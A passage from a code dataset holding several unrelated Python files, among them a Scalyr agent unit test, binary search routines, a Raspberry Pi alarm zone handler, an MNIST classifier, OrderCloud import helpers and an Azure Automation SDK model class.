open(self.__config_file, 'w')\n fp.write('{api_key: \"fake\"}')\n fp.close()\n\n config = self.__create_test_configuration_instance()\n config.parse()\n self.test_params = CopyingParameters(config)\n\n def test_initial_settings(self):\n self.assertEquals(self.test_params.current_bytes_allowed_to_send, ONE_MB)\n self.assertEquals(self.test_params.current_sleep_interval, 5.0)\n\n def test_no_events_being_sent(self):\n for i in range(0, 5):\n self.test_params.update_params('success', 0)\n self.assertEquals(self.test_params.current_bytes_allowed_to_send, ONE_MB)\n self.assertEquals(self.test_params.current_sleep_interval, 5.0)\n\n def test_small_events_being_sent(self):\n self.test_params.current_sleep_interval = 1\n self.run_test_case('success', 10 * 1024, [1.5, ONE_MB], [2.25, ONE_MB], [3.375, ONE_MB], [5, ONE_MB])\n\n def test_too_many_events_being_sent(self):\n self.test_params.current_sleep_interval = 5\n\n self.run_test_case('success', 200 * 1024, [3.0, ONE_MB], [1.8, ONE_MB], [1.08, ONE_MB], [1, ONE_MB])\n\n def test_request_too_big(self):\n self.test_params.current_sleep_interval = 1\n\n self.test_params.update_params('requestTooLarge', 300 * 1024)\n self.assertAlmostEquals(self.test_params.current_bytes_allowed_to_send, 150 * 1024)\n\n self.test_params.update_params('requestTooLarge', 150 * 1024)\n self.assertAlmostEquals(self.test_params.current_bytes_allowed_to_send, 100 * 1024)\n\n def test_error_back_off(self):\n self.test_params.current_sleep_interval = 3\n self.run_test_case('error', 200 * 1024, [4.5, ONE_MB], [6.75, ONE_MB], [10.125, ONE_MB], [15.1875, ONE_MB],\n [22.78125, ONE_MB], [30, ONE_MB])\n\n def run_test_case(self, status, bytes_sent, *expected_sleep_interval_allowed_bytes):\n \"\"\"Verifies that when test_params is updated with the specified status and bytes sent the current sleep\n interval and allowed bytes is updated to the given values.\n\n This will call test_params.update_params N times where N is the number of additional arguments supplied.\n After the ith invocation of test_params.update_params, the values for the current_sleep_interval and\n current_bytes_allowed_to_send will be checked against the ith additional parameter.\n\n @param status: The status to use when invoking test_params.update_params.\n @param bytes_sent: The number of bytes sent to use when invoking test_params.update_params.\n @param expected_sleep_interval_allowed_bytes: A variable number of two element arrays where the first element\n is the expected value for current_sleep_interval and the second is the expected value of\n current_bytes_allowed_to_send. Each subsequent array represents what those values should be after invoking\n test_params.update_param again.\n \"\"\"\n for expected_result in expected_sleep_interval_allowed_bytes:\n self.test_params.update_params(status, bytes_sent)\n self.assertAlmostEquals(self.test_params.current_sleep_interval, expected_result[0])\n self.assertAlmostEquals(self.test_params.current_bytes_allowed_to_send, expected_result[1])\n\n class LogObject(object):\n def __init__(self, config):\n self.config = config\n self.log_path = config['path']\n\n class MonitorObject(object):\n def __init__(self, config):\n self.module_name = config['module']\n self.config = config\n self.log_config = {'path': self.module_name.split('.')[-1] + '.log'}\n\n def __create_test_configuration_instance(self):\n\n default_paths = DefaultPaths('/var/log/scalyr-agent-2', '/etc/scalyr-agent-2/agent.json',\n '/var/lib/scalyr-agent-2')\n\n def log_factory(config):\n return CopyingParamsTest.LogObject(config)\n\n def monitor_factory(config, _):\n return CopyingParamsTest.MonitorObject(config)\n\n monitors = [JsonObject(module='scalyr_agent.builtin_monitors.linux_system_metrics'),\n JsonObject(module='scalyr_agent.builtin_monitors.linux_process_metrics',\n pid='$$', id='agent')]\n return Configuration(self.__config_file, default_paths, monitors, log_factory, monitor_factory)\n","sub_path":"scalyr_agent/tests/copying_manager_test.py","file_name":"copying_manager_test.py","file_ext":"py","file_size_in_byte":5781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"581371810","text":"from __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\n\nimport sys\n\ntry:\n from numpy import array\n from numpy import zeros\n\nexcept ImportError:\n if 'ironpython' not in sys.version.lower():\n raise\n\nfrom compas.geometry import centroid_points\nfrom compas.geometry import length_vector\nfrom compas.geometry import cross_vectors\n\nfrom compas.numerical import face_matrix\n\n\n__all__ = ['LoadUpdater']\n\n\nclass LoadUpdater(object):\n \"\"\"\"\"\"\n def __init__(self, mesh, p0, thickness=1.0, density=1.0, live=0.0):\n self.mesh = mesh\n self.p0 = p0\n self.thickness = thickness\n self.density = density\n self.live = live\n self.key_index = mesh.key_index()\n self.fkey_index = {fkey: index for index, fkey in enumerate(mesh.faces())}\n self.is_loaded = {fkey: mesh.face_attribute(fkey, 'is_loaded') for fkey in mesh.faces()}\n self.F = self.face_matrix()\n\n def __call__(self, p, xyz):\n ta = self._tributary_areas(xyz)\n sw = ta * self.thickness * self.density + ta * self.live\n p[:, 2] = self.p0[:, 2] + sw[:, 0]\n\n def face_matrix(self):\n face_vertices = [None] * self.mesh.number_of_faces()\n for fkey in self.mesh.faces():\n face_vertices[self.fkey_index[fkey]] = [self.key_index[key] for key in self.mesh.face_vertices(fkey)]\n return face_matrix(face_vertices, rtype='csr', normalize=True)\n\n def _tributary_areas(self, xyz):\n mesh = self.mesh\n key_index = self.key_index\n fkey_index = self.fkey_index\n is_loaded = self.is_loaded\n\n C = self.F.dot(xyz)\n\n areas = zeros((xyz.shape[0], 1))\n for u in mesh.vertices():\n p0 = xyz[key_index[u]]\n\n a = 0\n for v in mesh.halfedge[u]:\n p1 = xyz[key_index[v]]\n p01 = p1 - p0\n\n fkey = mesh.halfedge[u][v]\n if fkey is not None and is_loaded[fkey]:\n p2 = C[fkey_index[fkey]]\n a += 0.25 * length_vector(cross_vectors(p01, p2 - p0))\n\n fkey = mesh.halfedge[v][u]\n if fkey is not None and is_loaded[fkey]:\n p3 = C[fkey_index[fkey]]\n a += 0.25 * length_vector(cross_vectors(p01, p3 - p0))\n\n areas[key_index[u]] = a\n\n return areas\n\n\n# ==============================================================================\n# Main\n# ==============================================================================\n\nif __name__ == '__main__':\n pass\n","sub_path":"src/compas_tna/utilities/loads.py","file_name":"loads.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"70290377","text":"def binary_search(array, target):\n '''Write a function that implements the binary search algorithm using iteration\n\n args:\n array: a sorted array of items of the same type\n target: the element you're searching for\n\n returns:\n int: the index of the target, if found, in the source\n -1: if the target is not found\n '''\n lower = 0\n upper = len(array) - 1\n while lower <= upper:\n i = (upper + lower) // 2\n if array[i] == target:\n return i\n else:\n if target < array[i]:\n upper = i - 1\n else:\n lower = i + 1\n return -1\n\n\ndef binary_search_recursive(array, target, start_index, end_index):\n '''Write a function that implements the binary search algorithm using recursion\n\n args:\n array: a sorted array of items of the same type\n target: the element you're searching for\n\n returns:\n int: the index of the target, if found, in the source\n -1: if the target is not found\n '''\n if start_index > end_index:\n return -1\n\n mid_index = (start_index + end_index) // 2\n if mid_index >= len(array):\n return -1\n mid_element = array[mid_index]\n\n if target == mid_element:\n return mid_index\n elif target > mid_element:\n return binary_search_recursive(array, target, mid_index + 1, end_index)\n else:\n return binary_search_recursive(array, target, start_index, mid_index - 1)\n\n\ndef recursive_binary_search(target, source, left=0):\n if len(source) == 0:\n return None\n center = (len(source)-1) // 2\n if source[center] == target:\n return center + left\n elif source[center] < target:\n return recursive_binary_search(target, source[center+1:], left+center+1)\n else:\n return recursive_binary_search(target, source[:center], left)\n\n\ndef find_first(target, source):\n index = recursive_binary_search(target, source)\n if not index:\n return None\n\n while source[index] == target:\n if index == 0:\n return 0\n if source[index - 1] == target:\n index -= 1\n else:\n return index\n\n\nif __name__ == \"__main__\":\n array = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n target = 6\n print(binary_search(array, target))\n print(binary_search_recursive(array, target, 0, len(array)))\n target = 11\n print(binary_search(array, target))\n print(binary_search_recursive(array, target, 0, len(array)))\n\n array = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n target = 4\n print(binary_search(array, target))\n print(binary_search_recursive(array, target, 0, len(array)))\n\n multiple = [1, 3, 5, 7, 7, 7, 8, 11, 12, 13, 14, 15]\n print(find_first(7, multiple)) # Should return 3\n print(find_first(9, multiple)) # Should return None\n\n multiple = []\n print(find_first(7, multiple)) # Should return None\n print(find_first(9, multiple)) # Should return None\n","sub_path":"misc/binarysearch.py","file_name":"binarysearch.py","file_ext":"py","file_size_in_byte":2946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"118900517","text":"import datetime\nimport Alarm\nimport RPi.GPIO as GPIO\nfrom pubsub import pub\n\nGPIO.setmode(GPIO.BOARD)\n\n\nclass Zone:\n\n isArmed = False\n\n def __init__(self, pin, name):\n\n self.name = name\n self.pin = pin\n self.push_message = (\"Alarm in zone %s\" % self.name)\n\n def init(self):\n print(\"Initializing Zone : %s\\n\" % self.name)\n GPIO.setup(self.pin, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n GPIO.add_event_detect(self.pin, GPIO.FALLING, callback=self.my_callback, bouncetime=2000)\n\n def my_callback(self, channel):\n\n timestamp = datetime.datetime.now()\n msg = \"{0} :: Movement in zone {1} has been detected ...\\n\".format(str(timestamp), self.name)\n print(msg)\n event = u'alarm.triggered'\n\n if self.isArmed:\n pub.sendMessage(event, event_msg=msg)\n Alarm.isTriggered = True\n Alarm.start()\n\n","sub_path":"Zone.py","file_name":"Zone.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"97636089","text":"import torch\nfrom torch import nn\nimport numpy as np\nfrom torch.nn import functional as F\nfrom torch import optim\nimport torchvision\nfrom matplotlib import pyplot as plt\nfrom utils import plot_image, plot_curve, one_hot\nfrom sklearn import metrics\nfrom sklearn.metrics import confusion_matrix\n\n\nbatch_size = 512\nnum_epochs = 2\n# load dataset\ntrain_loader = torch.utils.data.DataLoader(\n torchvision.datasets.MNIST('mnist_data', train=True, download= True,\n transform=torchvision.transforms.Compose([\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize( # normalise the data to be distributed around zero\n (0.1307,), (0.3081, ))\n ])),\n batch_size = batch_size, shuffle = True)\n\ntest_loader = torch.utils.data.DataLoader(\n torchvision.datasets.MNIST('mnist_data', train=False, download=True,\n transform=torchvision.transforms.Compose([\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize(\n (0.1307,), (0.3081,))\n ])),\n batch_size=batch_size, shuffle=False)\n# make loader iterable\nx, y = next(iter(train_loader))\nprint(x.shape, y.shape,x.min(), x.max())\nplot_image(x, y ,'Real Value')\n\n# construct model\nclass NormalNet(nn.Module):\n def __init__(self):\n super(NormalNet, self).__init__()\n self.fc1 = nn.Linear(28*28, 256) # the first full connected layer\n self.fc2 = nn.Linear(256, 64) # the second full connected layer\n self.fc3 = nn.Linear(64, 10) # the third full connected layer\n\n def forward(self, x):\n out = F.relu(self.fc1(x)) #ReLu function used for non linearity\n out = F.relu(self.fc2(out))\n out = self.fc3(out)\n return out\n\n# model and optimizer\nNormalNet = NormalNet()\noptimizer = optim.SGD(NormalNet.parameters(), lr=0.01, momentum= 0.9)\n\n# train process\ntrain_loss = []\nfor epoch in range (1,num_epochs+1):\n for batch_idx, (data,targets) in enumerate(train_loader):\n\n data = data.view(data.size(0), 28*28) # flatten 4-dimension to 2-dimension\n out = NormalNet(data)\n targets_onehot = one_hot(targets)\n loss = F.mse_loss(out, targets_onehot) # Mean squared error\n optimizer.zero_grad() # set gradients for all parameters zero\n loss.backward()\n optimizer.step()\n\n train_loss.append(loss.item())\n\n if batch_idx % 512 == 0:\n print('Number of Epochs: {} and loss is {:.5f}'.format(epoch, loss.item()))\n\nplot_curve(train_loss) # helper function used for plot loss curve\n\n\n\n# test process\nnum_correct = 0\np1 = 0\np2 = 0\nr1 = 0\nr2 = 0\nf1 = 0\nfor data, target in test_loader:\n data = data.view(data.size(0), 28*28)\n out = NormalNet(data)\n pred = out.argmax(dim = 1) #find the target with the most possibility\n correct = pred.eq(target).sum().float().item()\n num_correct += correct\n\n confusion_matrix(target, pred)\n p1 = metrics.precision_score(target, pred, average='micro') # To calculate micro average precision\n p2 = metrics.precision_score(target, pred, average='macro') # To calculate macro average precision\n r1 = metrics.recall_score(target, pred, average='micro', labels=np.unique(pred)) # Micro average Recall Rate\n r2 = metrics.recall_score(target, pred, average='macro', labels=np.unique(pred)) # Macro average Recall Rate\n f1 = metrics.f1_score(target, pred, average='weighted')\n\nprint(\"\\nPrecision Rate: {:.3f}% and {:.3f}%, Recall Rate: {:.3f}% and {:.3f}%, F1 Score: {:.3f}%\\n\".format(\n 100 * p1, 100 * p2, 100 * r1, 100 * r2, 100 * f1))\nacc = num_correct / len(test_loader.dataset)\nprint('Test Accuracy: {:.3f}%'.format(acc))\n\n# to show random six images with their predictions\ndata, targets = next(iter(test_loader))\nout = NormalNet(data.view(data.size(0), 28*28))\npred = out.argmax(dim = 1)\nplot_image(data, pred, 'Prediction')\n","sub_path":"models/NN.py","file_name":"NN.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"576245811","text":"import sys\nimport logging\nimport numpy as np\nimport tflearn\nfrom keras.preprocessing import image\nimport math\nimport ast\nimport os\nimport train_encoder\n\nnp.set_printoptions(threshold=sys.maxsize)\n\ndef get_img(img_path):\n img = image.load_img(img_path,\n target_size=train_encoder.IMAGE_INPUT_SIZE)\n\n return np.expand_dims(image.img_to_array(img), axis=0)\n\nmodel = train_encoder.build_model()\nmodel = tflearn.DNN(model)\n\ncheckpoint_path = 'checkpoints/model.h5'\nmodel.load(checkpoint_path)\n\ndef euclidean_distance(x, y):\n \"\"\" return euclidean distance between two lists \"\"\"\n return math.sqrt(sum(pow(a - b, 2) for a, b in zip(x, y)))\ndef square_rooted(x):\n return round(math.sqrt(sum([a * a for a in x])), 3)\n\ndef cosine_similarity(x, y):\n numerator = sum(a * b for a, b in zip(x, y))\n denominator = square_rooted(x) * square_rooted(y)\n return round(numerator / float(denominator), 3)\n\ndef getImagesScore(image1, image2):\n img1_vec = get_img(image1)\n img2_vec = get_img(image2)\n\n img1_pred = model.predict(img1_vec)[0]\n img2_pred = model.predict(img2_vec)[0]\n\n avg_1 = avg_2 = 0\n for i in range(len(img1_pred)):\n for j in range(len(img1_pred[0])):\n avg_1 += euclidean_distance(img1_pred[i][j], img2_pred[i][j])\n avg_1 /= len(img1_pred[0])\n avg_2 += avg_1\n avg_2 /= len(img1_pred)\n print(avg_2)\n return avg_2\n\nprint(\"Cand 1 Score ::\", getImagesScore(\"images/Search_Img.png\", \"images/Cand_1_Img.png\"))\nprint(\"Cand 2 Score ::\", getImagesScore(\"images/Search_Img.png\", \"images/Cand_2_Img.png\"))\nprint(\"Cand 3 Score ::\", getImagesScore(\"images/Search_Img.png\", \"images/Cand_3_Img.png\"))","sub_path":"ML_Models/AutoEncoder/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"610764665","text":"# -*- coding: utf-8 -*-\r\n\r\n@auth.requires(tiene_permiso(_permiso_modificaciones_avanzadas))\r\ndef index():\r\n response.title = 'Configuraciones generales del sistema'\r\n return dict()\r\n\r\n\r\n@auth.requires(tiene_permiso(_permiso_modificaciones_avanzadas))\r\ndef modificar():\r\n configuracion = db.configuraciones[int(request.args(0))]\r\n form = SQLFORM.factory(\\\r\n Field('valor', 'text', default=configuracion.valor, widget=SQLFORM.widgets[configuracion.widget].widget), \\\r\n submit_button='Guardar')\r\n if form.accepts(request.vars):\r\n configuracion.update_record(valor=form.vars.valor)\r\n session.flash = 'Modificación guardada satisfactoriamente'\r\n redirect(URL(f='index'))\r\n return dict(form=form, configuracion=configuracion)\r\n","sub_path":"init/controllers/configuraciones.py","file_name":"configuraciones.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"29953663","text":"class Mouse():\n '''\n Simple data storage class for mice, pulling together all the information needed to design\n a PCR reaction.\n '''\n def __init__(self):\n self.m_id = None\n self.loc = None\n self.transline = None\n self.p_id = None\n self.cell_style = None # The style of cell in Excel\n self.investigator = None\n self.needs_gMouse_entry = True\n self.programs = None\n self.templates = None\n\n def __str__(self):\n return str(self.m_id)","sub_path":"src/Mouse.py","file_name":"Mouse.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"647353377","text":"import numpy as np\nimport tensorflow as tf\n\nfrom math import factorial\nclass TrainConfig(object):\n\n def __init__(self):\n\n def recur(permute_series_list):\n permute_series_new = []\n for series_i in permute_series_list[-1]:\n for k in range(series_i[-1], self.hidden_size):\n s=list(series_i)\n s.append(k)\n permute_series_new.append(s)\n l=list(permute_series_list)\n l.append(permute_series_new)\n return l\n def build_permute_tensor(permute_series, hidden_size, order):\n len_ps = len(permute_series)\n concat = np.concatenate((permute_series, list(map(list, zip(*[[x for x in range(len_ps)]])))), axis=1)\n shape = [hidden_size]*order\n shape.append(len_ps)\n # print(\"shape\", shape)\n return tf.SparseTensor(concat, [1.0]*len_ps, shape)\n\n\n\n self.init_scale = 0.1\n self.learning_rate = 1e-2\n self.decay_rate = 0.8\n self.max_grad_norm = 10\n\n self.num_freq = 2\n self.training_steps = int(5e1)\n self.keep_prob = 1.0 # dropout\n self.sample_prob = 0.0 # sample ground true\n self.batch_size = 50\n\n self.hidden_size = 2 # dim of h\n self.poly_order = 2\n \n self.permute_series_list =[[[i] for i in range(self.hidden_size)]]\n for _ in range(self.poly_order-1):\n self.permute_series_list = recur(self.permute_series_list)\n \n self.expanded_hidden_size = sum([factorial(i+1+self.hidden_size-1)//factorial(i+1)//factorial(self.hidden_size-1) for i in range(self.poly_order)])\n\n #self.constant_permute_tensors = [build_permute_tensor(self.permute_series_list[i], self.hidden_size, i+1) for i in range(1, self.poly_order)]\n \n self.num_layers = 1\n self.inp_steps = 20 \n self.horizon = 1\n\n self.num_lags = 8 # tensor prod order\n #8,4,2,1\n self.rank_vals= [self.hidden_size+1]+[6, 4]\n","sub_path":"tensor_train_RNN-master_180609/train_config.py","file_name":"train_config.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"326390424","text":"import cv2\nimport numpy as np\nimport os\n\n\n# 카메라 사물 인식, 라즈베리파이 구동 버전 (라즈베리파이의 python 3.5v에 맞게 수정됨)\n\n\ndef setLabel(image, app_size, shape): # 라벨링 함수\n (text_width, text_height), baseline = cv2.getTextSize(\"{0} {1}\".format(app_size, shape), cv2.FONT_HERSHEY_SIMPLEX, 1, 2)\n cv2.rectangle(image, (x-5, y-5+baseline), (x-5+text_width, y-10-text_height), (200,200,200), cv2.FILLED) # 라벨 배경\n cv2.putText(image, \"{0} {1}\".format(app_size, shape), (x-5,y-5), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2) # 라벨 텍스트\n\n\n\n# 실시간 비디오 초기화\nheight = 480\nwidth = 640\ncam = cv2.VideoCapture(0)\ncam.set(3, width)\ncam.set(4, height)\n\n# 인식을 위한 최소 윈도우 사이즈 (얼굴 인식에 필요해서 만든 것일지도)\nminW = 0.1*cam.get(3)\nminH = 0.1*cam.get(4)\n\n# 트레일러 영역 정의\ntrack_width = 300\ntrack_nx = (width - track_width)/2\ntrack_px = (width + track_width)/2\n#\n\n\n\nwhile True:\n ret, img_color = cam.read() # 카메라로부터 이미지 획득\n #img_color = cv2.flip(img_color, 0) # 상하반전\n \n #img_color = cv2.fastNlMeansDenoisingColored(img_color, None, 10, 10, 7, 21) # 원본 노이즈 제거 (카메라 이용 시 이 부분에서 처리 시간이 너무 많이 걸림)\n #img_blur = cv2.GaussianBlur(img_color, (9, 9), cv2.BORDER_DEFAULT) # 가우시안 블러 (처리 시간은 해결됐지만 정확도가 떨어짐)\n img_blur = cv2.medianBlur(img_color, 3) # 메디안 블러로 ( 엣지 정보 보존에 유리 ) (노이즈 제거 1)\n\n imgray = cv2.cvtColor(img_blur, cv2.COLOR_BGR2GRAY) # gray image 획득\n imgray = cv2.medianBlur(imgray, 5) # gray image 메디안 블러 (노이즈 제거 2) (if 2 median, 3 => 5)\n\n threshold = cv2.adaptiveThreshold(imgray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY_INV, 11, 2) # gray image에 threshold 처리\n # threshold 이미지 노이즈 제거 (노이즈 제거 3)\n kernel = np.ones((2,2), np.uint8)\n threshold = cv2.morphologyEx(threshold, cv2.MORPH_OPEN, kernel)\n threshold = cv2.dilate(threshold, kernel, iterations = 1)\n ############################################\n\n contours, hierarchy = cv2.findContours(threshold, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) # contour 추출\n \n # contour 분석 ######################################\n for idx, cnt in enumerate(contours):\n size = len(cnt)\n shape = \"\"\n\n # 간소화된 contour\n epsilon = 0.087 * cv2.arcLength(cnt, True)\n approx = cv2.approxPolyDP(cnt, epsilon, True)\n app_size = len(approx)\n \n if app_size > 2: # 직선 제외\n if size>200 and size<900: # contour 사이즈 선택\n x,y,w,h = cv2.boundingRect(cnt) # contour에 사각형 boundary 형성\n\n if x>(track_nx) and (x+w)<(track_px): # boundary가 중간 영역 내부에 있는 경우만 선택\n img_color = cv2.rectangle(img_color, (x,y), (x+w,y+h), (0,0,255), 2)\n print(\"Collect Group : \", size, x, y, w, h)\n #setLabel(img_color, \"{}\".format(size), shape)\n #setLabel(threshold, \"{}\".format(size), shape)\n\n #cv2.drawContours(img_color, contours, idx, (255, 0, 0), 1)\n\n if app_size == 3:\n shape = \"triangle\"\n elif app_size == 4:\n shape = \"rectangle\"\n else:\n shape = \"other\"\n \n setLabel(img_color, app_size, shape)\n setLabel(threshold, app_size, size)\n cv2.drawContours(img_color, approx, -1, (255, 0, 0), 10) # 간소화된 contour 표시\n ###################################################\n\n # 트레일러 영역 표시\n cv2.line(img_color, (int(track_nx), 0), (int(track_nx), height), (0, 255, 0), 2)\n cv2.line(img_color, (int(track_px), 0), (int(track_px), height), (0, 255, 0), 2)\n\n cv2.imshow(\"img_color\", img_color)\n cv2.imshow(\"threshold\", threshold)\n \n k = cv2.waitKey(10) & 0xff # Press 'ESC' for exiting video\n if k == 27:\n break\n\nprint(\"\\n [INFO] Exiting Program and Cleanup stuff\")\ncam.release()\ncv2.destroyAllWindows()","sub_path":"team_project/Python/Factory/VideoRecognition_ra.py","file_name":"VideoRecognition_ra.py","file_ext":"py","file_size_in_byte":4322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"579157604","text":"import OrderCloud\nimport csv\nimport random\nimport os\nimport datetime\nimport urllib.request\nimport json\nfrom .override_urllib3_constructor import patch_http_connection_pool\nfrom .factories import OrderCloudFactory\n\nglobal ordercloud_docs\n\ndef get_ordercloud_resource_options():\n data = OrderCloudFactory.get_full_documentation()\n resource_options = []\n for resource in data['Resources']:\n if resource['Section'] not in ['UserPerspective', 'Ordering', 'Authentication']:\n if resource['Name'] not in ['Message Senders', 'Credit Cards', 'Catalogs']:\n resource_options.append({'display': resource['Name'], 'resourceId': resource['ID']})\n return resource_options\n\ndef get_ordercloud_save_assignment_options():\n data = OrderCloudFactory.get_full_documentation()\n assignment_options = []\n for resource in data['Resources']:\n if resource['Section'] not in ['UserPerspective', 'Ordering', 'Authentication']:\n if resource['Name'] not in ['Message Senders', 'Credit Cards', 'Catalogs']:\n for endpoint in resource['Endpoints']:\n if \"Assignment\" in endpoint['ID'] and \"Save\" in endpoint['ID']:\n assignment_options.append({'display': resource['Name'] + \" - \" + endpoint['Name'], 'endpointId': endpoint['ID'], 'resourceId': resource['ID']})\n return assignment_options\n\n\ndef save_temp_file_and_return_file_name(f):\n file_name = str(random.randint(1, 100000))\n #file type will eventually be dynamic\n file_type = '.csv'\n with open('temp/' + file_name + file_type, 'wb+') as destination:\n for chunk in f.chunks():\n destination.write(chunk)\n return {'name': file_name, 'type': file_type}\n\ndef get_sample_data_from_file(file_name, file_type):\n sample_data = {\n 'Keys': [],\n 'Items': []\n }\n with open('temp/' + file_name + file_type, 'r', encoding='Latin-1') as csvfile:\n key_order_reader = csv.reader(csvfile, delimiter=\",\")\n for row in key_order_reader:\n print (row);\n sample_data['Keys'] = row\n break\n with open('temp/' + file_name + file_type, 'r', encoding='Latin-1') as csvfile:\n reader = csv.DictReader(csvfile, delimiter=',')\n def callback(data):\n pass\n count = 0\n for row in reader:\n sample_data['Items'].append(row)\n count += 1\n if count > 2:\n break\n return sample_data\n\n\ndef process_uploaded_file(file_name, resource, action):\n pass\n # this will eventually have to take in both the file information and the profile of the data\n # to map to OrderCloud\n\n # OrderCloud.configuration.client_id = \"CA52A81C-D36D-4B10-BC3B-6A565E36A471\"\n # OrderCloud.configuration.scopes = [\"FullAccess\"]\n # OrderCloud.auth.authenticate(\"1234qwer\")\n # resource_model_properties = get_resource_model_properties('product')\n # patch_http_connection_pool(maxsize=100)\n #\n #\n # with open('temp/' + file_name, 'r') as csvfile:\n # reader = csv.DictReader(csvfile, delimiter=',')\n # def callback(data):\n # pass\n # for row in reader:\n # if (action == 'hard'):\n # OrderCloud['ProductApi'].create(row, callback=callback)\n # else:\n # OrderCloud['ProductApi'].update(row, callback=callback)\n # os.remove('temp/' + file_name)\n\ndef build_ordercloud_object(resource_model_properties, row):\n pass\n\ndef get_resource_model_properties(resource_name):\n\n # this should use the global `ordercloud_docs` object and should retrieve the sample body of the specified resource.\n # right now it just retrieves the product object key/values\n data = OrderCloudFactory.get_full_documentation()\n for resource in data['Resources']:\n if (resource['Name'] == resource_name):\n for endpoint in resource['Endpoints']:\n if 'Create' in endpoint['ID'] and endpoint['HttpVerb'] == 'POST':\n return json.loads(endpoint['RequestBody']['Sample'])\n return {}\n","sub_path":"generator/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"473143854","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n#\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is\n# regenerated.\n# --------------------------------------------------------------------------\n\nfrom msrest.serialization import Model\n\n\nclass SoftwareUpdateConfigurationRun(Model):\n \"\"\"Software update configuration Run properties.\n\n Variables are only populated by the server, and will be ignored when\n sending a request.\n\n :ivar name: Name of the software update configuration run.\n :vartype name: str\n :ivar id: Resource Id of the software update configuration run\n :vartype id: str\n :param software_update_configuration: software update configuration\n triggered this run\n :type software_update_configuration:\n ~azure.mgmt.automation.models.UpdateConfigurationNavigation\n :ivar status: Status of the software update configuration run.\n :vartype status: str\n :ivar configured_duration: Configured duration for the software update\n configuration run.\n :vartype configured_duration: str\n :ivar os_type: Operating system target of the software update\n configuration triggered this run\n :vartype os_type: str\n :ivar start_time: Start time of the software update configuration run.\n :vartype start_time: datetime\n :ivar end_time: End time of the software update configuration run.\n :vartype end_time: datetime\n :ivar computer_count: Number of computers in the software update\n configuration run.\n :vartype computer_count: int\n :ivar failed_count: Number of computers with failed status.\n :vartype failed_count: int\n :ivar creation_time: Creation time of the resource, which only appears in\n the response.\n :vartype creation_time: datetime\n :ivar created_by: CreatedBy property, which only appears in the response.\n :vartype created_by: str\n :ivar last_modified_time: Last time resource was modified, which only\n appears in the response.\n :vartype last_modified_time: datetime\n :ivar last_modified_by: LastModifiedBy property, which only appears in the\n response.\n :vartype last_modified_by: str\n :param tasks: Software update configuration tasks triggered in this run\n :type tasks:\n ~azure.mgmt.automation.models.SoftareUpdateConfigurationRunTasks\n \"\"\"\n\n _validation = {\n 'name': {'readonly': True},\n 'id': {'readonly': True},\n 'status': {'readonly': True},\n 'configured_duration': {'readonly': True},\n 'os_type': {'readonly': True},\n 'start_time': {'readonly': True},\n 'end_time': {'readonly': True},\n 'computer_count': {'readonly': True},\n 'failed_count': {'readonly': True},\n 'creation_time': {'readonly': True},\n 'created_by': {'readonly': True},\n 'last_modified_time': {'readonly': True},\n 'last_modified_by': {'readonly': True},\n }\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'id': {'key': 'id', 'type': 'str'},\n 'software_update_configuration': {'key': 'properties.softwareUpdateConfiguration', 'type': 'UpdateConfigurationNavigation'},\n 'status': {'key': 'properties.status', 'type': 'str'},\n 'configured_duration': {'key': 'properties.configuredDuration', 'type': 'str'},\n 'os_type': {'key': 'properties.osType', 'type': 'str'},\n 'start_time': {'key': 'properties.startTime', 'type': 'iso-8601'},\n 'end_time': {'key': 'properties.endTime', 'type': 'iso-8601'},\n 'computer_count': {'key': 'properties.computerCount', 'type': 'int'},\n 'failed_count': {'key': 'properties.failedCount', 'type': 'int'},\n 'creation_time': {'key': 'properties.creationTime', 'type': 'iso-8601'},\n 'created_by': {'key': 'properties.createdBy', 'type': 'str'},\n 'last_modified_time': {'key': 'properties.lastModifiedTime', 'type': 'iso-8601'},\n 'last_modified_by': {'key': 'properties.lastModifiedBy', 'type': 'str'},\n 'tasks': {'key': 'properties.tasks', 'type': 'SoftareUpdateConfigurationRunTasks'},\n }\n\n def __init__(self, **kwargs):\n super(SoftwareUpdateConfigurationRun, self).__init__(**kwargs)\n self.name = None\n self.id = None\n self.software_update_configuration = kwargs.get('software_update_configuration', None)\n self.status = None\n self.configured_duration = None\n self.os_type = None\n self.start_time = None\n self.end_time = None\n self.computer_count = None\n self.failed_count = None\n self.creation_time = None\n self.created_by = None\n 